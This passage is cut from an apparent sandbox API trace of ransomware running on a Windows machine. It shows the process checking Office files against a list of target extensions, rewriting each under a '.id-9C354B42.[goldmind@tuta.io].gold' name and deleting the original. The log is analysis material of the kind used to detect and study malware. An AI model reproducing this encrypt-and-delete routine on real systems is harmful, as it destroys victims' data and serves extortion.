lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0103.364] SetEndOfFile (hFile=0x198) returned 1 [0103.364] CloseHandle (hObject=0x198) returned 1 [0103.364] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.364] SetEndOfFile (hFile=0x3bc) returned 1 [0103.366] CloseHandle (hObject=0x3bc) returned 1 [0103.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.367] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl")) returned 1 [0103.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0103.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0103.367] lstrlenW (lpString=".doc") returned 4 [0103.367] lstrcmpiW (lpString1=".doc", lpString2=".ACL") returned 1 [0103.367] lstrlenW (lpString=".docx") returned 5 [0103.367] lstrcmpiW (lpString1=".docx", lpString2="O.ACL") returned -1 [0103.367] lstrlenW (lpString=".pdf") returned 4 [0103.367] lstrcmpiW (lpString1=".pdf", lpString2=".ACL") returned 1 [0103.367] lstrlenW (lpString=".xls") returned 4 [0103.367] lstrcmpiW (lpString1=".xls", lpString2=".ACL") returned 1 [0103.367] lstrlenW (lpString=".xlsx") returned 5 [0103.367] lstrcmpiW (lpString1=".xlsx", lpString2="O.ACL") returned -1 [0103.367] lstrlenW (lpString=".ppt") returned 4 [0103.367] lstrcmpiW (lpString1=".ppt", lpString2=".ACL") returned 1 [0103.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0103.367] lstrlenW (lpString=".zip") returned 4 [0103.367] lstrcmpiW (lpString1=".zip", lpString2=".ACL") returned 1 [0103.367] lstrlenW (lpString=".rar") returned 4 [0103.367] lstrcmpiW (lpString1=".rar", lpString2=".ACL") returned 1 [0103.367] lstrlenW (lpString=".bz2") returned 4 [0103.368] lstrcmpiW (lpString1=".bz2", lpString2=".ACL") returned 1 [0103.368] lstrlenW (lpString=".7z") returned 3 [0103.368] lstrcmpiW (lpString1=".7z", lpString2="ACL") returned -1 [0103.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0103.368] lstrlenW (lpString=".dbf") returned 4 [0103.368] lstrcmpiW (lpString1=".dbf", lpString2=".ACL") returned 1 [0103.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0103.368] lstrlenW (lpString=".1cd") returned 4 [0103.368] lstrcmpiW (lpString1=".1cd", lpString2=".ACL") returned -1 [0103.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0103.368] lstrlenW (lpString=".jpg") returned 4 [0103.368] lstrcmpiW (lpString1=".jpg", lpString2=".ACL") returned 1 [0103.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0103.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0103.368] lstrlenW (lpString=".doc") returned 4 [0103.368] lstrcmpiW (lpString1=".doc", lpString2=".ACL") returned 1 [0103.368] lstrlenW (lpString=".docx") returned 5 [0103.368] lstrcmpiW (lpString1=".docx", lpString2="O.ACL") returned -1 [0103.368] lstrlenW (lpString=".pdf") returned 4 [0103.368] lstrcmpiW (lpString1=".pdf", lpString2=".ACL") returned 1 [0103.368] lstrlenW (lpString=".xls") returned 4 [0103.368] lstrcmpiW (lpString1=".xls", lpString2=".ACL") returned 1 [0103.368] lstrlenW (lpString=".xlsx") returned 5 [0103.368] lstrcmpiW (lpString1=".xlsx", lpString2="O.ACL") returned -1 [0103.368] lstrlenW (lpString=".ppt") returned 4 [0103.368] lstrcmpiW (lpString1=".ppt", lpString2=".ACL") returned 1 [0103.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0103.368] lstrlenW (lpString=".zip") returned 4 [0103.368] lstrcmpiW (lpString1=".zip", lpString2=".ACL") returned 1 [0103.368] lstrlenW (lpString=".rar") returned 4 [0103.368] lstrcmpiW (lpString1=".rar", lpString2=".ACL") returned 1 [0103.368] lstrlenW (lpString=".bz2") returned 4 [0103.368] lstrcmpiW (lpString1=".bz2", lpString2=".ACL") returned 1 [0103.368] lstrlenW (lpString=".7z") returned 3 [0103.368] lstrcmpiW (lpString1=".7z", lpString2="ACL") returned -1 [0103.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0103.368] lstrlenW (lpString=".dbf") returned 4 [0103.368] lstrcmpiW (lpString1=".dbf", lpString2=".ACL") returned 1 [0103.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0103.368] lstrlenW (lpString=".1cd") returned 4 [0103.368] lstrcmpiW (lpString1=".1cd", lpString2=".ACL") returned -1 [0103.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0103.368] lstrlenW (lpString=".jpg") returned 4 [0103.368] lstrcmpiW (lpString1=".jpg", lpString2=".ACL") returned 1 [0103.368] lstrcmpiW (lpString1=".HXC", lpString2=".gold") returned 1 [0103.368] lstrlenW (lpString="MSOUC_COL.HXC") returned 13 [0103.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0103.369] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=621) returned 1 [0103.369] CloseHandle (hObject=0x3bc) returned 1 [0103.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc")) returned 0x20 [0103.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0103.369] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.369] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0103.370] GetLastError () returned 0x0 [0103.370] ReadFile (in: hFile=0x3bc, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x26d, lpOverlapped=0x0) returned 1 [0103.371] WriteFile (in: hFile=0x198, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x270, lpOverlapped=0x0) returned 1 [0103.372] ReadFile (in: hFile=0x3bc, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.372] WriteFile (in: hFile=0x198, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xee, lpOverlapped=0x0) returned 1 [0103.372] SetEndOfFile (hFile=0x198) returned 1 [0103.372] CloseHandle (hObject=0x198) returned 1 [0103.372] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.372] SetEndOfFile (hFile=0x3bc) returned 1 [0103.374] CloseHandle (hObject=0x3bc) returned 1 [0103.374] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.374] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc")) returned 1 [0103.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0103.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0103.375] lstrlenW (lpString=".doc") returned 4 [0103.375] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0103.375] lstrlenW (lpString=".docx") returned 5 [0103.375] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0103.375] lstrlenW (lpString=".pdf") returned 4 [0103.375] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0103.375] lstrlenW (lpString=".xls") returned 4 [0103.375] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0103.375] lstrlenW (lpString=".xlsx") returned 5 [0103.375] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0103.375] lstrlenW (lpString=".ppt") returned 4 [0103.375] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0103.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0103.375] lstrlenW (lpString=".zip") returned 4 [0103.375] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0103.375] lstrlenW (lpString=".rar") returned 4 [0103.375] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0103.375] lstrlenW (lpString=".bz2") returned 4 [0103.375] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0103.375] lstrlenW (lpString=".7z") returned 3 [0103.375] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0103.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0103.375] lstrlenW (lpString=".dbf") returned 4 [0103.375] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0103.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0103.375] lstrlenW (lpString=".1cd") returned 4 [0103.375] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0103.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0103.375] lstrlenW (lpString=".jpg") returned 4 [0103.375] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0103.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0103.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0103.375] lstrlenW (lpString=".doc") returned 4 [0103.375] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0103.375] lstrlenW (lpString=".docx") returned 5 [0103.376] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0103.376] lstrlenW (lpString=".pdf") returned 4 [0103.376] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0103.376] lstrlenW (lpString=".xls") returned 4 [0103.376] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0103.376] lstrlenW (lpString=".xlsx") returned 5 [0103.376] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0103.376] lstrlenW (lpString=".ppt") returned 4 [0103.376] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0103.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0103.376] lstrlenW (lpString=".zip") returned 4 [0103.376] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0103.376] lstrlenW (lpString=".rar") returned 4 [0103.376] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0103.376] lstrlenW (lpString=".bz2") returned 4 [0103.376] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0103.376] lstrlenW (lpString=".7z") returned 3 [0103.376] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0103.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0103.376] lstrlenW (lpString=".dbf") returned 4 [0103.376] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0103.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0103.376] lstrlenW (lpString=".1cd") returned 4 [0103.376] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0103.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0103.376] lstrlenW (lpString=".jpg") returned 4 [0103.376] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0103.376] lstrcmpiW (lpString1=".HXT", lpString2=".gold") returned 1 [0103.376] lstrlenW (lpString="MSOUC_COL.HXT") returned 13 [0103.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0103.377] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=205) returned 1 [0103.377] CloseHandle (hObject=0x3bc) returned 1 [0103.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt")) returned 0x20 [0103.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0103.377] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.377] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0103.378] GetLastError () returned 0x0 [0103.378] ReadFile (in: hFile=0x3bc, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0xcd, lpOverlapped=0x0) returned 1 [0103.378] WriteFile (in: hFile=0x198, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0103.379] ReadFile (in: hFile=0x3bc, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.379] WriteFile (in: hFile=0x198, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xee, lpOverlapped=0x0) returned 1 [0103.379] SetEndOfFile (hFile=0x198) returned 1 [0103.379] CloseHandle (hObject=0x198) returned 1 [0103.379] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.379] SetEndOfFile (hFile=0x3bc) returned 1 [0103.381] CloseHandle (hObject=0x3bc) returned 1 [0103.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.381] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt")) returned 1 [0103.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0103.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0103.382] lstrlenW (lpString=".doc") returned 4 [0103.382] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0103.382] lstrlenW (lpString=".docx") returned 5 [0103.382] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0103.382] lstrlenW (lpString=".pdf") returned 4 [0103.382] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0103.382] lstrlenW (lpString=".xls") returned 4 [0103.382] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0103.382] lstrlenW (lpString=".xlsx") returned 5 [0103.383] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0103.383] lstrlenW (lpString=".ppt") returned 4 [0103.383] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0103.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0103.383] lstrlenW (lpString=".zip") returned 4 [0103.383] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0103.383] lstrlenW (lpString=".rar") returned 4 [0103.383] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0103.383] lstrlenW (lpString=".bz2") returned 4 [0103.383] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0103.383] lstrlenW (lpString=".7z") returned 3 [0103.383] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0103.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0103.383] lstrlenW (lpString=".dbf") returned 4 [0103.383] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0103.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0103.383] lstrlenW (lpString=".1cd") returned 4 [0103.383] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0103.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0103.383] lstrlenW (lpString=".jpg") returned 4 [0103.383] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0103.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0103.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0103.383] lstrlenW (lpString=".doc") returned 4 [0103.383] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0103.383] lstrlenW (lpString=".docx") returned 5 [0103.383] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0103.383] lstrlenW (lpString=".pdf") returned 4 [0103.383] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0103.383] lstrlenW (lpString=".xls") returned 4 [0103.383] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0103.383] lstrlenW (lpString=".xlsx") returned 5 [0103.383] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0103.383] lstrlenW (lpString=".ppt") returned 4 [0103.383] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0103.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0103.383] lstrlenW (lpString=".zip") returned 4 [0103.383] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0103.383] lstrlenW (lpString=".rar") returned 4 [0103.383] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0103.383] lstrlenW (lpString=".bz2") returned 4 [0103.383] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0103.383] lstrlenW (lpString=".7z") returned 3 [0103.383] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0103.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0103.383] lstrlenW (lpString=".dbf") returned 4 [0103.383] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0103.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0103.383] lstrlenW (lpString=".1cd") returned 4 [0103.383] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0103.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0103.383] lstrlenW (lpString=".jpg") returned 4 [0103.384] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0103.384] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0103.384] lstrlenW (lpString="MSOUC_F_COL.HXK") returned 15 [0103.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0103.385] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=114) returned 1 [0103.385] CloseHandle (hObject=0x3bc) returned 1 [0103.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk")) returned 0x20 [0103.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0103.385] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.385] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0103.386] GetLastError () returned 0x0 [0103.386] ReadFile (in: hFile=0x3bc, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x72, lpOverlapped=0x0) returned 1 [0103.386] WriteFile (in: hFile=0x198, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x80, lpOverlapped=0x0) returned 1 [0103.387] ReadFile (in: hFile=0x3bc, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.387] WriteFile (in: hFile=0x198, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0103.387] SetEndOfFile (hFile=0x198) returned 1 [0103.387] CloseHandle (hObject=0x198) returned 1 [0103.387] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.387] SetEndOfFile (hFile=0x3bc) returned 1 [0103.389] CloseHandle (hObject=0x3bc) returned 1 [0103.389] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.389] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk")) returned 1 [0103.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0103.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0103.390] lstrlenW (lpString=".doc") returned 4 [0103.390] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0103.390] lstrlenW (lpString=".docx") returned 5 [0103.390] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0103.390] lstrlenW (lpString=".pdf") returned 